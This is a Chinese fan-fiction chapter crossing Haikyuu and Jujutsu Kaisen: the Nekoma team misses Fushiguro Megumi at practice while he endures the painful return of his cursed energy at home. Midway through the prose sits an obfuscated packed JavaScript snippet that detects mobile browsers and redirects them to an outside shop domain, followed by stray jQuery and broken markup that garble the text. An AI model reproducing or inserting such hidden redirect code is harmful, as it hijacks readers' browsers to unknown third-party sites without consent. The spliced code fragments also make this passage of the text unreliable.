伏黑的卧室,空气里弥漫着一股让人不舒服的气息,黑暗,沉重,粘腻……

    只觉得痛苦,如同抽筋剥骨般让人无法忍受。

    晨间的薄雾还未彻底散去,笼罩着整座音驹高中。

    排球部全员按照惯例集合,准备每日雷打不动的晨间训练。

    黑尾铁朗站在队伍靠前的位置,双手插在运动服口袋里,目光扫过面前的众人,开始清点人数。

    黑尾习惯从左至右依次默数,指尖下意识跟着人数轻点,嘴里无声地默念着数字。

    “一、二、三……”

    数到最后一个数字时,他停下动作,眉头微微蹙起,又重新数了一遍。连续两次清点下来,结果一模一样,人数明显不对。

    “奇怪。”黑尾低声咕哝了一句,脸上写满疑惑。

    身旁的夜久卫辅听到他的低语,停下压腿的动作,直起身顺着黑尾的视线环视一圈。队伍整整齐齐,熟悉的面孔一一掠过,确实少了人。

    “嗯?是有人迟到了?”夜久抬手揉了揉手腕,下意识朝着校门的方向望了一眼,随即扬声喊了一句,“列夫!”

    灰羽列夫个子偏高,站在队伍末尾的位置。听见呼喊,他立刻站直身体,双脚并拢,摆出标准的应答姿势,声音响亮:“在!”

    众人的目光齐刷刷落到队伍后方。列夫动作利落地换好训练鞋,刚刚才从教学楼方向小跑过来,此刻老老实实站在原位,半点没有迟到的模样。

    周围响起几声细碎的嘀咕。大家原本都以为缺席的人是列夫,毕竟这位混血少年总是磨蹭晚到,算是队伍里的“迟到常客”之一。可现在当事人好端端地站在这里,那缺席的人究竟是谁?

    黑尾和夜久对视一眼,两人眼中都透着几分了然。

    看来是误会列夫了。

    黑尾再次环顾全场,目光掠过一张张熟悉的脸,逐一确认。犬冈、芝山、山本、海……低年级和高年级的队员都在,唯独那个辨识度极高的海胆头身影,始终没有出现。

    “好像……没见到惠。”一直靠在围栏边低头摆弄手机的孤爪研磨忽然开口。他说话语速平缓,声音不大,却刚好让周围几个人都听得一清二楚。

    众人顺着思路回想,脑海里立刻浮现出伏黑惠标志性的发型。那一头利落的海胆短发在人群里格外显眼,以往晨练集合,他总会安静地站在研磨不远处,不怎么主动搭话,存在感不算张扬,却绝不会被忽略。

    可今天,视野里彻底没了这个人的踪迹。

    “是去卫生间了吗?说不定很快就回来。”有人随口猜测。

    “不可能。”孤爪研磨摇了摇头,收起手机揣进兜里,“我刚从那边出来,里里外外都看过了,没见到惠。”

    话音落下,现场的轻松氛围淡了几分。原本嬉笑打闹的队员们也渐渐收起玩笑的神色,心底纷纷升起一丝不对劲的感觉。

    黑尾铁朗作为排球部的前辈,行事向来稳妥。他略一思索,率先把目光投向孤爪研磨。

    伏黑惠和研磨是同班同学,平日里座位还是前后桌,不仅同在排球部,私下相处的时间也比其他人多得多,询问他再合适不过。

    黑尾迈步走到研磨面前,上下打量了对方一番,斟酌着开口问道:“你们班,今天是轮到他值日吗?”

    问完这句话的瞬间,黑尾自己都忍不住在心里扶额吐槽。

    他和研磨是从小一起长大的发小,对这位好友的性子再清楚不过。

    孤爪研磨平日里心思大多放在游戏和手机上,连自己的值日时间都常常记混,偶尔还会因为忘记值日被班长点名,指望他清清楚楚记得同班同学的值日安排,属实是有点强人所难。

    问出这个问题,大概也只是抱着碰碰运气的想法。

    果不其然,研磨闻言抬起头,用一种“你怎么会问这种问题”的无语眼神看向黑尾,语气平淡又理直气壮:“我干嘛要多记一个人的值日时间啊?”

    黑尾:“……”

    行吧,意料之中的答案。他就不该抱有期待。

    研磨说完,原本散漫的眼神忽然一凝,像是猛然想起了什么重要的事情,瞳孔微微放大,整个人瞬间僵在原地。几秒之后,他脸上浮现出明显的慌张。

    等等,值日……

    他模糊的记忆开始回笼。

    今天,好像、大概、似乎……轮到自己值日了?

    这个念头如同闪电一般划过脑海,研磨整个人都精神了。平日里懒散拖沓的状态一扫而空,连多余的话都没再说,转身迈开步子,朝着教学楼的方向快步走去。

    背影速度快得和平时判若两人,转眼间就拐进楼道入口,消失在众人的视线里。

    留在原地的黑尾看着空荡荡的楼道口,嘴角抽了抽,无奈地叹了口气。

    好家伙,关心别人有没有缺席,结果反倒把自己的值日忘得一干二净。

    真遇上正经事的时候,这家伙行动速度倒是快得惊人,这反差感简直没谁了。

    周围的队员们目睹完整过程,纷纷低笑出声。原本因为伏黑惠缺席带来的沉闷气氛,被研磨这一出小插曲冲淡了不少。

    就在这时,灰羽列夫扬起下巴,双手叉腰,摆出一副得意洋洋的模样,脸上挂着胜利者的笑容,高声调侃道:“哈哈!研磨前辈忘记值日缺席,惠酱又晨练迟到,这么算下来,整个队伍里果然只有我列夫才是最靠谱的!”

    他语气张扬,尾巴都快要翘到天上去了,一副“全场最佳模范生”的姿态,恨不得让所有人都认可自己的优秀。

    “哇哈哈哈!”列夫越说越得意,自顾自地大笑起来。

    咚——

    一记力道十足的手刀精准落在列夫的头顶上。

    “笨蛋!你以为惠和你一样吗!”夜久卫辅板着脸,收回手,语气带着明显的训斥。

    他实在看不惯列夫这副沾沾自喜、不分场合乱开玩笑的样子。

    伏黑惠无故缺席,再加上伏黑家里的状况,大家心里都隐隐有些担忧,结果这家伙反倒借机自我吹捧,实在是没分寸。

    灰羽列夫吃痛,双手抱着脑袋蹲在地上,眼眶微微泛红,满脸委屈。

    “呜呜——”他小声嘟囔,“明明迟到的又不是我,为什么夜久桑要凶我啊……太不公平了。”

    那副可怜兮兮的模样,引得旁边的山本猛虎忍不住落井下石,抱着胳膊嗤笑一声:“哈哈,让你小子得意忘形,这下吃到苦头了吧?纯属自找的。”

    队伍里再次响起一阵哄笑,少年们的打闹声在清晨的操场上回荡。

    此刻的伏黑惠,正躺在自己卧室的床上,深陷在一场极致的痛苦挣扎之中。

    房间拉着厚重的窗帘,光线昏暗,空气里弥漫着一股阴冷、粘稠、让人浑身不适的气息。

    这股气息并非来自外界,而是完完全全从伏黑惠的体内蔓延开来。

    这绝对不是一次普通的发烧,伏黑可以肯定。

    深入骨髓的痛楚席卷全身,像是有无数根细密的绳索死死缠绕着四肢,又像是筋骨被一点点拉扯、剥离,抽筋剥骨般的难受感源源不断地冲击着他的意识。

    他紧闭双眼,眉头死死拧成一团,额头上布满细密的冷汗,原本平稳的呼吸变得急促而紊乱。

    不久之前,他还在为穿越到这个陌生世界、体内咒力彻底消失而暗自警惕。

    失去十种影法术的加持,身处一个没有咒灵、没有咒术师,全然普通的世界。可就在几分钟前,沉寂已久的咒力毫无征兆地骤然苏醒。

    沉睡的力量不再温顺蛰伏,而是如同失控的汹涌海浪,在经脉与四肢百骸之间疯狂窜动、横冲直撞。

    一股股浑厚磅礴的咒力前赴后继地奔涌而出,强度远超他以往任何一个时刻。

    伏黑惠能清晰地感知到,体内的咒力还在持续增长、膨胀。

    不行。

    再这样任由咒力肆意暴走下去,他的身体根本无法承受这股超负荷的力量,最终只会落得爆体而亡的下场。

    他咬紧牙关,强迫混乱的意识集中起来。

    常年修习咒术练就的定力在此刻发挥了作用,他摒弃脑海中所有杂念,拼尽全力收拢心神,尝试引导、安抚四处乱窜的咒力。

    这个过程煎熬无比,每一分每一秒都格外漫长。

    脉搏跳得又快又乱,胸腔闷胀得发慌,仿佛有一块巨石压在胸口,连正常换气都变得困难。

    豆大的汗珠顺着额角滑落,划过鼻尖、下颌,一路钻进衣领,浸湿了内里的衣物。

    单薄的睡衣被汗水浸透,紧紧黏在肌肤上,带来一阵阵黏腻的不适感。

    时间一分一秒流逝,伏黑惠始终保持着凝神控力的状态,额角的汗水就没有停过。

    不知过了多久,体内狂暴翻涌的咒力才渐渐收敛锋芒,如同闹海的浪潮慢慢退去,一点点回归平稳,不再四处冲撞。

    紧绷的神经终于得以放松,伏黑惠缓缓睁开双眼,漆黑的眸子里还残留着疲惫与后怕。

    他微微喘息着,抬手擦了擦脸上的汗水,心中思绪翻涌。

    消失许久的咒力,以这样一种近乎折磨的方式重新回归。

    他能明确地察觉到,如今自己体内的咒力浓度、总量,都远超穿越之前。

    力量变强,本该是一件值得庆幸的事。

    可这里并不是他原本所在的咒术世界,这是一个安稳平和,不存在咒灵威胁的普通世界。

    在这个世界里,强悍的咒力、十种影法术,又能派上什么用场?

    莫非……

    一个大胆的猜想,毫无预兆地在他脑海中一闪而过。

    为何近些年来,世界各地的咒灵实力都在逐年稳步增强?<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628119|206264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>从伏黑惠正式成为咒术师、接手任务开始,他遭遇的咒灵几乎没有弱小之辈。

    而在他出生之前,更早的年代里,咒灵的威胁远没有如今这般恐怖。

    高专已毕业的前辈解答,一切的源头,都是五条悟。

    五条悟的诞生,彻底打破了咒术世界原本的力量均衡。

    就好比田径项目出现无人能打破的世界纪录后,多年纪录突然不断被刷新;花样滑冰出现某位顶尖选手后,选手们便开始接连挑战更高旋转圈数,咒灵也是如此,不断变强来追平这份失衡的力量。

    咒灵也是同样的道理。

    五条悟作为独一档的最强术师诞生后,咒术世界底层力量平衡被打破,世界规则会自发催生、强化更强的咒灵,以此拉扯战力天平,形成对等的威胁,也就是大家常说的“强者出现,对立面同步升级”的制衡逻辑。

    如今,他这个来自咒术世界的“外来者”,在这个无咒灵的普通世界里,咒力不仅失而复得,甚至还完成了增幅变强。

    按照那套制衡逻辑来推演……

    那么,这个原本安稳的世界,会不会也开始诞生出咒灵?

    念头至此,伏黑惠的神色凝重起来。这已经不是单纯的力量恢复问题,而是牵扯到整个世界安危的大事。

    紧接着,他又联想到另外几件疑点重重的事。

    那部能够连通两个世界的手机、五条悟跨世界为他安排妥当的入学档案、提前置办的住所……种种迹象都指向一个更可怕的可能性。

    也有可能不是制衡,而是……

    两个截然不同的世界,正在缓缓相融?

    这个猜测让伏黑惠的心沉了下去。

    一旦两个世界彻底交融,咒灵大规模降临这片土地,眼前这片平和的校园、城市,所有无辜的普通人,都会陷入无尽的危险之中。

    他压下心中繁杂的思绪,不再继续深究猜想。

    当务之急,是先确认自身的状态,再慢慢验证猜测。

    体内咒力彻底稳定后,伏黑惠微微侧过身,目光落在地面投射出的大片阴影上。

    沉寂许久的术式,如今已经可以正常动用。

    伏黑惠抬起双手,指尖灵活转动,熟练地结出召唤玉犬的专属手印。

    咒力顺着手臂缓缓流淌,注入脚下的阴影之中。

    地面的黑影骤然翻涌起来,黑雾盘旋涌动,轮廓渐渐清晰。

    下一秒,一只犬形式神从浓稠的阴影中缓步踏出。

    它体型匀称矫健,通体覆盖纯黑毛发,没有一丝杂色。额头正中央,一道规整的正三角白色足玉纹路格外醒目,金色的瞳孔锐利明亮,微微咧开的嘴露出尖锐的獠牙,周身萦绕着淡淡的黑雾,模样威严又灵动。

    玉犬落地之后,乖巧地站在伏黑惠身侧,金瞳温顺地望向自己的术师,完全没有战斗时的凶悍。

    伏黑惠伸出手,指尖轻轻梳理着黑玉犬顺滑的毛发。

    久违的羁绊感在一人一式神之间流淌,紧绷的心情也稍稍舒缓。

    “好久不见了。”他低声开口,语气里带着一丝不易察觉的感慨。

    少年院一战之后,白玉犬永久损毁,从此他身边便只剩下这一只黑玉犬相伴。

    如今跨越世界重逢,更是格外唏嘘。

    他安静地抚摸逗弄了片刻,确认式神状态稳定,这才抬起手,对着地面的影子做出收回的手势。

    涌动的黑影再次包裹住黑玉犬,式神的身躯化作缕缕黑雾,顺着影子缓缓缩回地下,最终彻底消失不见,回归专属的影子空间。

    做完这一切,伏黑惠才察觉到身上黏腻的不适感。

    刚才咒力暴走时浑身大汗,湿透的睡衣贴在皮肤上,闷得人很不舒服。

    他起身下床,径直走向浴室,拧开水龙头开始冲洗身体。

    温热的水流冲刷掉满身汗水与疲惫,也暂时抚平了心底的焦躁。洗漱、换衣,一系列动作有条不紊。

    等一切收拾妥当,他取下了一直挂在墙面的高专制服换上。

    口袋里的手机被他仔细揣好。

    关于咒力恢复、世界相融的猜测,他目前还没有十足的证据。

    在有一件事还没确定之前,他并不打算立刻联系五条悟,暂时隐瞒咒力恢复这件事。

    整理好着装,伏黑惠推开房门走出住所。

    清晨的街道行人渐渐多了起来,上班族、赶路的学生往来穿梭,一派寻常的市井景象。他一边缓步走着,一边拿出手机,指尖在屏幕上滑动,点开地图软件,仔细搜索着附近医院的地址。

    手指在地图界面不断划拉、缩放,逐一比对路线。

    行走间,伏黑惠也没有放松警惕。

    他抬起头,视线放得很宽,目光冷静地扫视着街道两侧的每一处角落、每一片阴影,每一个不同寻常的异动。